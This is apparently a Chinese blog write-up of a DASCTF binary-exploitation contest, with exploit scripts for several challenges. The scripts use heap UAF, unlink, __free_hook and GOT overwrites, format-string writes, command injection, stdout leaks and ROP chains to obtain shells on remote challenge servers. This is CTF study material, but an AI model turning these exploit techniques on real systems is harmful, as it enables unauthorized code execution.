DAS二进制专项赛
终究还是re✌更上流一些。
卸载所有的前面
555,又是一个月无所事事,还当了一回fw。爬回来学习一下专项赛的题目。笔者不是个铸币,比赛的时候一点也不会。
easy-note
glibc-2.23的题目,UAF很明显,直接打 _free_hook 就行。当然打__malloc_hook,realloc调整栈帧也可。蒻纸笔者在比赛的时候还打一个unlink,无语了。怎么会蠢到用更麻烦的方法2333
from pwncy import *
context(log_level = "debug",arch = "amd64")
p,elf,libc = load('pwn',remote_libc = "./libc-2.23.so",ip_port = "node4.buuoj.cn:27142")
def cmd(choice):
sla("5. exit\n",str(choice))
def add(size,content):
cmd(1)
sla("The length of your content --->\n",str(size))
sa("Content --->\n",content)
def change(index,size,content):
cmd(2)
sla("Index --->\n",str(index))
sla("The length of your content --->\n",str(size))
sa("Content --->\n",content)
def delete(index):
cmd(3)
sla("Index --->\n",str(index))
def show(index):
cmd(4)
sla("Index --->\n",str(index))
debug(p,'no-tmux',0x0000000000400AB6)
chunk_ptr = 0x6020C0 + 0x8
pad = b"deadbeef"
add(0x90,pad)
add(0x90,pad)
add(0x90,pad)
add(0x10,pad)
# pause()
delete(0)
show(0)
libc_base = recv_libc() - 0x58 - libc.sym["__malloc_hook"] - 0x10
log_addr("libc_base")
__free_hook = libc_base + libc.sym['__free_hook']
# pause()
payload = flat({
0x8: 0x91,
0x10: chunk_ptr - 0x18,
0x18: chunk_ptr - 0x10,
0x90: 0x90,
0x98: p8(0xa0)
},filler = b"\x00",length = 0x99)
change(1,0xa0,payload)
delete(2)
pause()
payload2 = flat({
0x10: chunk_ptr,
0x18: __free_hook,
},filler = b"\x00",length = 0x20)
change(1,0x20,payload2)
pause()
ogg = libc_base + search_og(1)
change(1,0x8,p64(ogg))
pause()
delete(3)
itr()
foooooood
非栈上格式化字符串漏洞,找跳板rbp打。这题需要分两次修改。
from pwncy import *
context(log_level = "debug",arch = "amd64")
p,elf,libc = load('pwn',remote_libc = "./libc.so.6",ip_port = "node4.buuoj.cn:28407")
debug(p,'no-tmux',"pie",0xb27)
name_offset = 0x00000000002020C0
sa("Give me your name:",b"a"*0x20)
def attack(size,offset):
payload = bytes("%{}c%{}$hn".format(size,offset),encoding = "utf-8").ljust(0x20,b"\x00")
sa("what's your favourite food: ",payload)
def attack_hhn(size,offset):
payload = bytes("%{}c%{}$hhn".format(size,offset),encoding = "utf-8").ljust(0x20,b"\x00")
sa("what's your favourite food: ",payload)
# attack(b"%p.%p.%p.%p.".ljust(0x20,b"\x00"))
sa("what's your favourite food: ",b"%8$p.%9$p.%11$p.%p.".ljust(0x20,b"\x00"))
ru("You like ",drop = True)
elf_base = int(ru(".",drop=True),16) - elf.sym["__libc_csu_init"]
log_addr("elf_base")
libc_base = int(ru(".",drop=True),16) - libc.sym["__libc_start_main"] - 240
log_addr("libc_base")
rbp1 = int(ru(".",drop=True),16)
first_target = rbp1 - 0xe0 - 0x18 + 0x4
log_addr("first_target")
name = elf_base + name_offset
log_addr("name")
system = libc_base + libc.sym["system"]
log_addr("system")
ogg = libc_base + search_og(3)
log_addr("ogg")
# pause()
attack(first_target & 0xffff,11)
payload3 = bytes("%{}c%11$hn".format(size),encoding = "utf-8").ljust(0x20,b"\x00")
# pause()
attack(0xa,37)
my_pause("change number")
taget = rbp1 - 0xe0
attack_hhn((taget & 0xff), 11)
attack_hhn((ogg) & 0xff,37 )
pause()
attack_hhn((taget & 0xff) + 0x1, 11)
attack_hhn((ogg >> 8) & 0xff,37)
pause()
attack_hhn((taget & 0xff) + 0x2, 11)
attack_hhn((ogg >> 16) & 0xff,37 )
my_pause("fix number")
attack_hhn((taget + 0x1c) & 0xff, 11)
attack_hhn(0,37)
itr()
server
赛后看这个题目感觉没有那么难惹。第一个点很好过,存在目录穿越,让access函数访问到/bin/sh文件就可以绕过。
sub_14DA函数中过滤了绝大部分的常用的命令执行字符,但是这里有个未初始化的漏洞且上面的name读入的栈空间和下面s空间重叠。这题就可以直接输入"'\n'"字符分割命令获得shell。
from pwncy import *
context(log_level = "debug",arch = "amd64")
p,elf,libc = load('pwn',ip_port = "node4.buuoj.cn:27099")
def cmd(choice):
sla("Your choice >> ",str(choice))
debug(p,'no-tmux',"pie",0x16e3,0x1748,0x1495,0x1484)
cmd(1)
#mkdir /keys
# key = (b"../../../" + b"./"* 10).ljust(28,b"*")
# key = b"../../../../../././bin/sh"
key = b'../../../../../..//bin/sh'
sla("Please input the key of admin : \n",key)
# command = b"''cat\tfl*\n"
# cmd(2)
# sa("Please input the username to add : \n",command)
# pause()
command2 = b"'\n"
cmd(2)
sa("Please input the username to add : \n",command2)
itr()
candy_shop
存在数组下标负数越界,可以劫持got。注意一点,劫持got表的memset函数时,因为下标距离问题,需要分两次打入system函数地址。
from pwncy import *
context(log_level = "debug",arch = "amd64")
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
global p
# p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
p = remote("139.155.132.59",9999)
def cmd(choice):
sla("option: ",choice)
def gift(name):
cmd(b"g")
sa("Give me your name: \n",name)
def canary(index = -10,name = b"1" * 0x13):
cmd("b")
sla("Which one you want to bye: ",b"t")
sla("Which pocket would you like to put the candy in?\n: ",str(index))
sa("Give your candy a name!\n: ",name)
debug(p,'no-tmux',"pie",0x16a6,0x16b5,0x155e,0x15b4)
libc_offset = 0x29d90
leak = b"%11$p".ljust(8,b"\x00")
gift(leak)
ru("you have received a gift:")
libc_base =int(r(14),base = 16) - libc_offset
log_addr("libc_base")
system = libc_base + libc.sym["system"]
# system = libc_base + 0xebcf8
# system = libc_base + 0xebcf1
# system = libc_base + 0xebcf5
# pause()
cmd("b")
sla("Which one you want to bye: ",b"t")
index = -2
sla("Which pocket would you like to put the candy in?\n: ",str(index))
name = b"1" * 0x13
sa("Give your candy a name!\n: ",name)
canary(index = 0,name = b"/bin/sh\x00".ljust(0x13,b"\x00"))
# pause()
printf = libc_base + libc.sym["printf"]
payload = (b"a" * 6 + p64(printf) + p32(system & 0xffffffff) + p8((system >> 32) & 0xff)).ljust(19,b"\x00")
canary(name = payload)
log_addr("system")
# pause()
payload2 = p8((system >> 40) & 0xff).ljust(0x3,b"\x00") + b"\n"
canary(index = -9,name = payload2)
pause()
cmd("e")
itr()
can_you_find_me
只有add和delete两个操作。pushinfo函数结尾有个offbynull,同时申请的chunk size没有狠严格的限制,可以用chunk 重叠劫持tcache的next指针,有点house of botcake的味道,爆破半字节获得stdout结构体,打io leak获得libc基址。最后打__free_hook。
本地打的时候可以先关闭aslr方便调试。
from pwn import *
context(log_level = "debug",arch = "amd64")
# p,elf,libc = load("pwn",ip_port = "node4.buuoj.cn:28732",remote_libc = "/home/tw0/Desktop/tool/buu_libc/x64/libc-2.27.so")
global p
p = process("./pwn")
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
elf = ELF("./pwn")
libc = ELF("/home/tw0/Desktop/tool/buu_libc/x64/libc-2.27.so")
def cmd(choice):
sla("choice:",str(choice))
def add(size,content):
cmd(1)
sla("Size",str(size))
sla("Data:",content)
def delete(index):
cmd(2)
sla("Index:",str(index))
dbginfo = """
b *$rebase(0x98a)
b *$rebase(0xa98)
"""
# gdb.attach(p,dbginfo)
def exp():
_IO_2_1_stdout_offset = libc.sym["_IO_2_1_stdout_"]
log.success("_IO_2_1_stdout_offset--->"+hex(_IO_2_1_stdout_offset))
add(0x500,b'a'*0x500)#0
add(0x60,b'a'*0x60)#1
add(0x10,b'a'*0x10)#2
add(0x70,b'a'*0x70)#3
add(0x5f0,b'a'*0x5f0)#4
add(0x20,b'a'*0x20)
gdb.attach(p,dbginfo)
#利用off by one打unlink,构造堆重叠,进而进行tcache posioning
delete(0)
delete(3)
# pause()
add(0x78,b'a'*0x70+b'\x20\x06'.ljust(8,b'\x00'))#0
# pause()
#unlink
delete(4)
#
delete(1)
delete(0)
# pause()
add(0x500,b'/bin/sh\x00'+b'a'*(0x500-8))
# pause()
add(0x80,p16(0))
add(0x80,p16(_IO_2_1_stdout_offset & 0xffff))
add(0x60,b"a")
add(0x68,p64(0xfbad1800)+p64(0)*3+p8(0xc8)) #0xc8-->_chain_offset,next iostruct is stdin
# pause()
libc.address = u64(ru("\x7f",drop = False)[-6:].ljust(8,b"\x00")) - libc.sym._IO_2_1_stdin_
log.success(hex(libc.address))
free_hook = libc.address + libc.sym.__free_hook
add(0x80,p16(free_hook & 0xffff))
add(0x78,b'a')
leak("system",libc.sym.system)
add(0x78,p64(libc.sym.system))
pause()
delete(0)
itr()
if __name__ == '__main__':
# while True:
# sysctl -w kernel.randomize_va_space=0
for i in range(1):
try:
p = process("./pwn")
exp()
except:
# sleep(1)
p.close()
Adream
info thread #查看当前进程的线程数量、信息
thread <thread_number> #切换至指定线程
赛后复现,比赛的时候看着子线程没有了一点思路。铸币笔者。题目中子线程循环执行write函数,父线程有个沙箱只允许read and write,没有open,另外一个0x10大小的溢出。因为子线程不受到父线程沙箱的影响,同时可以覆写got表,所以我们通过栈迁移,覆写write@got为magic_read的gadget,见下图,实现循环读入。然后控制程序流,泄露libc之后打个rop链。注意父线程需要用sleep函数挂起,否则父线程crash后会一起停掉子线程。
这个题目也学习到了一点新姿势,子线程和父线程是公用got表的。另外子线程开辟的栈空间实际上就是父线程mmap出来的一段地址,和libc的地址是有固定偏移的,这点可以从调试中得到偏移。
最后解释一下为什么修改完got表后,子线程的读入pad只有0x30字节,听我猜测的胡说一下,子线程调试的时候看到在libc调用read函数时,不会像正常一样在__ GI___libc_read+26的地方直接跳回去,而是通过call _ GI_pthread_enable_asynccancel函数调用read,这样一来,在read的开始会sub rsp 0x28,返回结尾就会有个add rsp 0x28的操作,再进行ret。所以pad只有0x30字节大小,并且每次调用magic_read时,都要注意结尾ret的位置。
from pwncy import *
context(log_level = "debug",arch = "amd64")
filename = "Adream"
remote_libc = "/home/tw0/Desktop/tool/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc.so.6"
p,elf,libc = load(filename,remote_libc = remote_libc)
debug(p,'no-tmux',0x4013AE)
bss = elf.bss() + 0x100
magic_read = 0x4013AE
rdi = 0x401483
rsi_r15 = 0x401481
leave_ret = 0x40136c
ret = 0x40101a
payload = flat({
0x40: [bss + 0x40, magic_read],
},filler = b"\xff")
s(payload)
sleep(0.1)
payload2 = flat({
0x0: [rsi_r15,elf.got.write,0,elf.plt.read,rdi,0x1000,elf.plt.sleep],
0x40:[bss - 8,leave_ret],
})
s(payload2)
sleep(0.1)
pause()
#change parent thread wirte@got to magic_read_gadget
s(p64(magic_read))
sleep(0.1)
payload3 = flat({
0x30: [rdi, elf.got.puts, elf.plt.puts, magic_read],
})
s(payload3)
sleep(0.1)
libc.address = recv_libc() - libc.sym.puts
system = libc.sym.system
binsh = next(libc.search(b"/bin/sh"))
log_addr("binsh")
rdi_rbp = next(libc.search(asm("pop rdi;pop rbp;ret")))
thread_stack_rop_addr = libc.address - 0x4150
# thread_stack_rop_addr = libc_base - 0x11f0
pause()
payload4 = flat({
0x0: [ret,rdi_rbp,binsh,0,system],
0x40: thread_stack_rop_addr - 8,
0x48:leave_ret
})
s(payload4)
itr()
Approoooooooaching
之前看过一个brainfuck类型的虚拟机,但是没有仔细逆过。这次就碰上了。楽,怕什么来什么,测测测!。
第一步是jmp rax跳表的修复。这个讲道理,怎么还有人不会的。玛德,问就是铸币笔者。
修复跳转表
gcc在编译的时候,会将大于5个的switch转换为跳表的形式,因此反编译的时候会无法自动识别,需要手动调一下。很明显看出来,①这个地方是获取switch的选项的,②就是将下标和跳转表相加后用rax寄存器跳转。
那么修复跳转表需要先选择0x178c这一句,然后edit->other->specify switch idiom
然后解释一下修复跳表的每个具体含义:
- Address of Jump table:设置成 jump table 的地址
- Number of elements:设置为 jump table 中存在的元素总数
- Size of table element:设置为 jump table 中元素的类型,一般也就是4字节
- Element shift amount:这个一般情况下都是零,和跳表计算时的方式有关,比如此题只是单纯的跳表地址加跳表中的元素,那么就不需要移位
- Element base value:设置为计算跳转地址时给跳表元素加的值,比如此题的计算方法为
&jump_table + jump_table[i]
,那么这里就应该填跳表的地址 - Start of the switch idiom:这个默认就行,就是获取跳表值的语句的地址
- Input register of switch:设置为用于给跳表寻址的寄存器
- First(lowest) input value:就是 switch 的最小值了
- Default jump address:也就是 default 的跳转位置,其实有时候可以不填,但是最好还是填上,这个一般在上方不远处的 cmp 指令附近,特征就是判断了输入,然后跳转到某个地址上,跳转的这个地址就是要填的值了(上图中填的值是错误的,但是即使填错了似乎也没有影响最后的分析,所以可以放轻松啦~)
最后一点,修复跳表的时候,要观察跳转表的数值,如果是0xff之类开头的,可能是带符号的数,就需要勾选signed jump table element选项了。
动调修改花指令
sub_191d这里进入sub_1269函数,ida无法反编译sub_1269函数。
直接汇编看看1260的位置转成code后有endbr64,ida无法识别。
那动调断点打在call的位置,步进观察。看到0x1269的位置有endbr64指令,但是ida里面没有识别出来,因此手动从0x1269的位置开始转code。
后面就可以正常识别了。
捏捏捏!!!麻麻叠!!,要是修ida麻烦,直接高版本ida一把识别,测
思路
很简单,上面的全部修复以后,可以看出每个符号对应的操作。程序实现了一个brainfuck的虚拟机,将堆上的字符转换为相应的vm操作。下面是对应表格
! | 1 | ++ptr |
---|---|---|
i | 2 | --ptr |
$ | 3 | ++*ptr |
# | 4 | --*ptr |
x | 5 | putchar |
y | 6 | getchar |
* | 7 | jnz |
@ | 8 | jz |
另外sub_151d函数中存储的局部变量,a1是传入的参数,也就是对应的基址指针,动调观察的更加清楚。
所以只需要将ptr-8后写入backdoor函数的低一字节即可。
exp
这里为什么要填三个y进行getchar呢?第一个,在chunk中读入字符时,会将最后一个字符置0,因此我们需要多一个字符,所以最后一个字符填啥都行,不一定非得是y。第二因为笔者本地环境不知道啥原因,getchar函数总是能自动读取到一个换行符,捏麻麻滴,所以不得不多加一个y来修改ret地址。
from pwncy import *
context(log_level = "debug",arch = "amd64")
p,elf,libc = load('bf',ip_port = "node4.buuoj.cn:25232")
def cmd(choice):
sla("Give me your choice: \n",str(choice))
def add(size):
cmd(1)
sla("size: ",str(size))
def bf_write(text):
cmd(2)
sa("text: ",text)
debug(p,'no-tmux',"pie",0x15AD,0x15C2,0x15B0,0x1620,0x18FC)
add(0x20)
bf_write(b"iiiiyyy")
# pause()
cmd(3)
# cmd(4)
cmd(4)
backdoor = 0x19D8
s(b"\xe0")
itr()
matchmaking platform
漏洞点就是在接受内容的地方,char类型是-128(0x80)到127(0x7f),也就是带符号的。读入内容一共可以读入0x81字节,当写入0x80字节后,接下来一个输入的字节会因为char类型的溢出写到[-0x80]的地方,因此刚好覆盖到0x40c0处指针的最低字节。这样子就可以劫持stdio指针进行leak、修改0x4068处的switch计数,最后打free_hook。
from pwncy import *
context(log_level = "debug",arch = "amd64")
filename = "./pwn"
remote_libc = "/home/tw0/Desktop/tool/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6"
p,elf,libc = load(filename,remote_libc = remote_libc)
debug(p,'no-tmux','pie',0x1375)
menu = b'>> '
sa(menu,b'a'*0x80 + b"\x80")
# pause()
sla(menu,p64(0xfbad1800) + p64(0) * 3+p8(0))
# libc.address = recv_libc() - 0x1eb980
libc.address = recv_libc() - (libc.sym._IO_2_1_stdin_)
# log_info(hex(libc.address))
log("libc.address",hex(libc.address))
system = libc.sym.system
__free_hook = libc.sym.__free_hook
log_addr("__free_hook")
sa(menu,b"/bin/sh\x00" + b"a" * 0x78 + b"\x60")
# pause()
stdout = libc.sym._IO_2_1_stdout_
stdin = libc.sym._IO_2_1_stdin_
stderr = libc.sym._IO_2_1_stderr_
payload = (p64(0) + p64(5)).ljust(0x20,b"\x00")
payload += flat([stdout,0,stdin,0,stderr,0,__free_hook])
sla(menu,payload)
sa(menu,b"a" * 0x80 + b"\xb0")
sla(menu,p64(system))
sa(menu,b"a" * 0x80 + b"\xc8")
sla(menu,b"/bin/bash\x00")
itr()
中间布置"\x60"字节的指针是因为这里有个指向自己的指针,可以作为跳板帮助我们修改switch计数和写入free_hook地址。
官方的预期解是打ret2dl的,下面是官方预期解exp
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
def pwn() :
io.sendafter("Age >> ", b'\x00'*0x80 + b'\x80')
io.sendlineafter("Photo(URL) >> ", p64(0xfbad1887) + p64(0)*3 + b'\xb0\x5d')
pie_base = u64(io.recv(6, timeout = 0.5).ljust(8, b'\x00')) - 0x40a0
if (pie_base & 0xfff) != 0 :
exit(-1)
success("pie_base:\t" + hex(pie_base))
payload = b'/bin/sh\x00' + p64(pie_base + 0x4140 - 0x67) + b'system\x00'
io.sendafter("Name >> ", payload.ljust(0x80, b'\x00') + b'\x08')
payload = p64(pie_base + 0x8).ljust(0x68, b'\x00') + p64(pie_base + 0x4140)
io.sendlineafter("Hobby >> ", payload)
io.interactive()
if __name__ == '__main__':
while True:
global io
try :
io = process("./pwn")
pwn()
break
except :
io.close()
Noka
看着k号师傅的wp确实,感觉官方的wp就是坨*,(雾。不过这个题目确实,因为可以劫持got表,修改malloc@got为0x401254的read函数,可以做到4G以内任意地址读。所以不能直接写libc里面的6字节地址。但是可以修改strtol@got,直接执行命令,不用泄露environ再修改后门read函数读入次数、打ret的rop链那么麻烦的操作。
from pwncy import *
context(log_level = "debug",arch = "amd64")
filename = "noka"
remote_libc = "./libc.so.6"
p,elf,libc = load(filename,remote_libc = remote_libc,ip_port = "118.24.118.158:9999")
def cmd(choice):
sla(">",str(choice))
def add(target,content,size = 0x10):
cmd(1)
# sa("size: ",str(0x10).rjust(0xa,"0"))
sa("size: ",str(size))
pause()
sl(str(target))
sleep(0.1)
sa("text: ",content)
def show():
cmd(2)
def change(address,value):
cmd(3)
sla("Break Point: ",str(address))
sla("Break Value: ",str(value))
debug(p,'no-tmux',0x4012E5,0x401339,0x401305)
chunk_ptr = 0x4040B0
read_func = 0x401254
change(elf.got.malloc,read_func)
pause()
add(chunk_ptr,p64(elf.got.strtol))
show()
libc.address = recv_libc() - libc.sym.strtol
system = libc.sym.system
pause()
add(elf.got.strtol,p64(system))
sl(b"/bin/sh\x00")
itr()
总结一些(结个寂寞
fw总是六边形的fw,努力才不会成为fw,努力不了一点。但是要准备考试了nnd,考不过试真的college就真寄了,赶紧润听课。
参考文章
官方Write Up|DASCTF六月赛 · 二进制专项 | CTF导航 (ctfiot.com)
DAS二进制专项 – korey0sh1's trash can